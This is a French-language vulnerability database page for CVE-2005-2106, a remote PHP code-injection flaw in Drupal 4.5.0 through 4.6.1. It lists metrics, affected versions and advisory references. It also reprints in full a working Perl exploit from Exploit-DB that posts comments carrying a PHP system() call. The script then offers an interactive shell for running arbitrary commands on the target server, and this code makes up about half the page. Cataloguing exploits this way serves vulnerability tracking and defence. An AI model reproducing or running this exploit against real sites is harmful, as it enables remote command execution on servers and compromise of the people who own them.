CVE-2005-2106 : Détail

CVE-2005-2106

5.24%V4
Network
2005-07-01
02h00 +00:00
2016-10-17
11h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Unknown vulnerability in Drupal 4.5.0 through 4.5.3, 4.6.0, and 4.6.1 allows remote attackers to execute arbitrary PHP code via a public comment or posting.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 5 AV:N/AC:L/Au:N/C:N/I:P/A:N nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 1088

Date de publication : 2005-07-04 22h00 +00:00
Auteur : dab
EDB Vérifié : Yes

#!/usr/bin/perl # Mon Jul 4 18:19:35 CEST 2005 dab@digitalsec.net # # DRUPAL-SA-2005-002 php injection in comments (yes, its lame) # Hax0r code here, read before execute # # Run without arguments to show the help. # # BLINK! BLINK! BLINK! BLINK! # # Feel free to port to another stupid script language (mIRC, # python, TCL or orthers), and send to securiteam (AGAIN) # # Theo, this one hasn't been tested in BSD.. yet! # infohacking: there're a lot of xss in drupal, contact me if you want # to program some exploits. # # BLINK! BLINK! BLINK! BLINK! # # # HERE YOU CAN PUT YOUR BANNER!!!! THOUSENDS OF PEOPLE IS READING THIS LINE # contact me for pricing and offerings. # # !dSR: yubiiiiii yeooooooooooo # use LWP::UserAgent; use HTTP::Cookies; use LWP::Simple; use HTTP::Request::Common "POST"; use HTTP::Response; use Getopt::Long; use strict; $| = 1; # ;1 = |$ my ($proxy,$proxy_user,$proxy_pass); my ($host,$debug,$drupal_user,$drupal_pass); my $options = GetOptions ( 'host=s' => \$host, 'proxy=s' => \$proxy, 'proxy_user=s' => \$proxy_user, 'proxy_pass=s' => \$proxy_pass, 'drupal_user=s' => \$drupal_user, 'drupal_pass=s' => \$drupal_pass, 'debug' => \$debug); &help unless ($host); while (1){ print "druppy461\$ "; my $cmd = <STDIN>; &druppy($cmd); } exit (1); # could be replaced with exit(2) sub druppy { chomp (my $cmd = shift); LWP::Debug::level('+') if $debug; my $ua = new LWP::UserAgent( cookie_jar=> { file => "$$.cookie" }); # this is a random feature $ua->agent("Morzilla/5.0 (THIS IS AN EXPLOIT. IDS, PLZ, Gr4b ME!!!"); if ($drupal_user) { # no need to exploit my ($mhost, $h); if ($host =~ /(http:\/\/.*?)\?q=/) { $mhost = $1; $h = $mhost . "?q=user/login"; } #some magic hacking here else { $host =~ /(.*?)\/.*?\//; $mhost =$1; $h = $mhost . "/user/login"; } print $h . "\n" if $debug; my $req = POST $h,[ 'edit[name]' => "$drupal_user", 'edit[pass]' => "$drupal_pass" ]; #grab these, and send to dsr! print $req->as_string() if $debug; my $res = $ua->request($req); print $res->content() if $debug; if ($res->is_redirect eq 1) { print "Logged\n" if $debug; } } $ua->proxy(['http'] => $proxy) if $proxy; my $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user; my $res = $ua->get("$host"); my $html = $res->content(); my @op; # buffer overflow here foreach (split(/\n/,$html)) { if ( m/name="op" value="(.*?)"/){ push(@op,$1); } }# xss here my $ok = 0; # globlal for admin purposes foreach my $op (@op) { my $req = POST "$host",[ 'edit[subject]' => 'test', 'edit[comment]' => "<?php print(\"BLAH\\n\");system(\"$cmd\"); print(\"BLAH\\n\"); php?>", 'edit[format]' => '2', 'edit[cid]' => "", # drupal is sick.. it doesn't need arguments 'edit[pid]' => "", # they use it to grab some statistycal information 'edit[nid]' => "", # about users conduits. Don't buy in internet using drupal 'op' => "$op" ]; print $req->as_string() if $debug; my $res = $ua->request($req); my $html = $res->content(); print $html if $debug; foreach (split(/\n/,$html)) { return if $ok gt "1"; # super hack de phrack if (/BLAH/) { $ok++; next } print "$_\n" if $ok eq "1"; # /n is for another line in screen } } } sub help { print "Syntax: ./$0 <url> [options]\n"; print "\t--drupal_user, --drupal_pass (needed if dont allow anonymous posts)\n"; print "\t--proxy (http), --proxy_user, --proxy_pass\n"; print "\t--debug\n"; print "\nExample\n"; print "bash# $0 --host=http://www.server.com/?q=comment/reply/1\n"; print "\n"; exit(1); } #sub 0day_solaris { # please put your code here #} # milw0rm.com [2005-07-05]

Products Mentioned

Configuraton 0

Drupal>>Drupal >> Version 4.5.0

Drupal>>Drupal >> Version 4.5.1

Drupal>>Drupal >> Version 4.5.2

Drupal>>Drupal >> Version 4.5.3

Drupal>>Drupal >> Version 4.6.0

Drupal>>Drupal >> Version 4.6.1

Références

http://secunia.com/advisories/15872
Tags : third-party-advisory, x_refsource_SECUNIA
http://marc.info/?l=bugtraq&m=112015287827452&w=2
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.debian.org/security/2005/dsa-745
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.securityfocus.com/bid/14110
Tags : vdb-entry, x_refsource_BID